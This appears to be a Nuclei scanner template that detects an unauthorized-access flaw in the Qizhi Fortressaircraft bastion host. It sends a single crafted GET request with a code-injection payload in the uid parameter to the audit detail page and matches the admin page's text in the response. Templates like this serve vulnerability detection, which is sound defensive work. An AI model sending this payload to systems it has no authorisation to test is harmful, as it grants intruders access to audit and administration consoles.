id: qizhi-fortressaircraft-unauth

info:
  name: Qizhi Fortressaircraft Unauthorized Access
  author: ritikchaddha
  severity: high
  description: Qizhi Fortressaircraft is vulnerable to Unauthorized Access.
  reference:
    - https://mp.weixin.qq.com/s/FjMRJfCqmXfwPzGYq5Vhkw
  metadata:
    max-request: 1
  tags: qizhi,fortressaircraft,unauth

http:
  - method: GET
    path:
      - "{{BaseURL}}/audit/gui_detail_view.php?token=1&id=%5C&uid=%2Cchr(97))%20or%201:%20print%20chr(121)%2bchr(101)%2bchr(115)%0d%0a%23&login=shterm"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "错误的id"
          - "审计管理员"
          - "事件审计"
        condition: and

      - type: status
        status:
          - 200
# digest: 490a00463044022008f515851fe77f99949c9dd947644fbaccf465e563a84238bc80d8c5b34ff47b02207c2d74694c66a3f2db8f8ca0dbfae6526d324e59b4707fb4be5414b4b937e4bc:922c64590222798bb761d5b6d8e72950